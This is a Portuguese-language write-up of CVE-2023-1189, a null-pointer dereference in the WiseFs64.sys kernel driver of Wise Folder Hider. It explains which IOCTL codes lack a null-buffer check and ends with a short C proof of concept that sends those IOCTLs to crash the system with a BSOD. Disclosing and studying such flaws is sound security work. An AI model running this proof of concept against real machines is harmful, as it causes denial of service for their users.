
CVE-2023-1189 PoC e Exploit
| Item | Detalhes |
|---|---|
| CVE ID | CVE-2023-1189 |
| Tipo de Vulnerabilidade | Encerramento ou Liberação Impropria de Recurso (CWE-404) |
| Software Afetado | WiseCleaner Wise Folder Hider |
| Componente Vulnerável | WiseFs64.sys (Driver do Kernel) |
| Versão Vulnerável | 4.4.3.202 |
| CVSS | NVD - 5.5 (Médio), VulDB - 3.3 (Baixo) |
| Data de Divulgação | 06/03/2023 |
Esta vulnerabilidade permite que um invasor, com privilégios de usuário, force uma Desreferência de Ponteiro Nulo no kernel por meio de um IOCTL específico, levando o sistema ao estado BSOD. Trata-se de uma vulnerabilidade de Negação de Serviço Local.
A vulnerabilidade CVE-2023-1189 ocorre no driver de kernel WiseFs64.sys criado durante a instalação do programa Wise Folder Hider versão 4.4.3.202.
O fluxo geral da vulnerabilidade é o seguinte:

Analisando o fluxo em detalhes:

Primeiramente, na função DriverEntry, a função dispatchDeviceControl é definida no índice 14 da Tabela de Despacho.
Isso faz com que todos os IOCTLs enviados para \\.\WiseFs sejam direcionados para dispatchDeviceControl.

Ao entrar na função dispatchDeviceControl, primeiro é verificado se o dispositivo é um dispositivo de controle. Se for, a execução segue para a função handleControlDeviceIoctl.

A função handleControlDeviceIoctl contém a lógica que processa os códigos IOCTL reais.
Dentre vários códigos IOCTL, os códigos 0x222400, 0x222404 e 0x222410 omitem a verificação se o valor do Buffer é nulo ou não.
Portanto, se um desses IOCTLs for chamado com Buffer nulo, o driver acessará o Buffer, causando uma Desreferência de Ponteiro Nulo e levando ao BSOD.
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}